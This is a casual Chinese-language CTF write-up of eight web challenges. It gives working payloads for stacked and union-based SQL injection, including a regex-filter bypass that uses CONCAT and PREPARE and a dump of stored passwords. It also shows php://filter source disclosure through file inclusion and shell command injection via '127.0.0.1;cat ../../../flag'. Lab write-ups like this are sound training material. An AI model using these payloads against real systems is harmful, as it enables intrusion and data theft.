CTF靶场记录

  1. EasySQL,第一反应就是sql注入，别问为啥，问就是因为我流批直接后面丢sql注释就完了

    img

  2. 随便注，第一反应还是sql注入，直接丢个

    1;show databases

    img

    emmm好使了，那就接着读表吧

    img

    表出来就直接读字段就完了

    1-1';show columns from 1919810931114514#

    img

    后台有正则验证，直接大小写加拼接绕过即可

    -1';Set @sql = CONCAT('se','lect * from 1919810931114514;');Prepare stmt from @sql;EXECUTE stmt;#

    img

  3. Havefun进来就看着个这玩意

    img

    这时候必备的前端技能来了，直接右键检查，看到flag字段没

    img

    直接构造payload：

    /?cat=dog

    flag就出来了，简简单单

    img

  4. EasySQL不多墨迹，调整mysql 的sql_mode，payload：

    1;set sql_mode=PIPES_AS_CONCAT;select 1

    img

  5. Include,直接点tips，看到url这不就是文件包含，flag.php，那就想办法把源码读出来就完了呗

    img

    payload:

    ?file=php://filter/read=convert.base64-encode/resource=flag.php

    读出来的东西直接base64解码就完了

  6. Secret File,一进来，卧槽，这什么玩意？？？

    img

    想了想，继续我的f12大法，嗯哼，发现了一个文件，小老弟，我可是做过前端开发的

    imgimg

    点一下，一闪而过，嘿，你还没头了，burp直接抓包，一点不带惯着的

    img

    又让我逮到了吧，访问他就完了呗，结果又给我整出来代码了，真想抽出我四十米的大砍刀，算了，出题的表哥我应该打不过

    img

    直接访问flag.php

    img

    。。。。。。。。。。。。。。。。。。。。。你到底要干啥

    继续我的文件包含大业吧，构造payload：

    ?file=php://filter/read=convert.base64-encode/resource=./flag.php

    img

    。。。。竟然还需要加解密，那就解他就完了呗，一看就是base64，解出来就是这样的：

        FLAG




    啊哈！你找到我了！可是你看不到我QAQ~~~





Copy

    flag清清楚楚的就摆在那，搞定

  7. 一打开就是下面这个样子，这个我不是做过吗，这么简单

    img

    Login Success! ？？？？不是成功了嘛。。。。

    img

    那就想办法爆库爆表爆字段吧：

    #查列数
admin' order by 1#

#查回显位
-1' union select 1,2,3#

#查库
-1' union select 1,2,database()#

#查表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek'#

#查字段
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'l0ve1ysq1'#

#查flag
-1' union select 1,2,group_concat(password) from  l0ve1ysq1#
Copy

  8. EXEC,明显的命令执行，带个ls试试：

    img

    接下来就翻就完了

    127.0.0.1;cat ../../../flag

就先写这些吧，一点难度都没有，莫得意思（开玩笑的，别打我）

img

Comments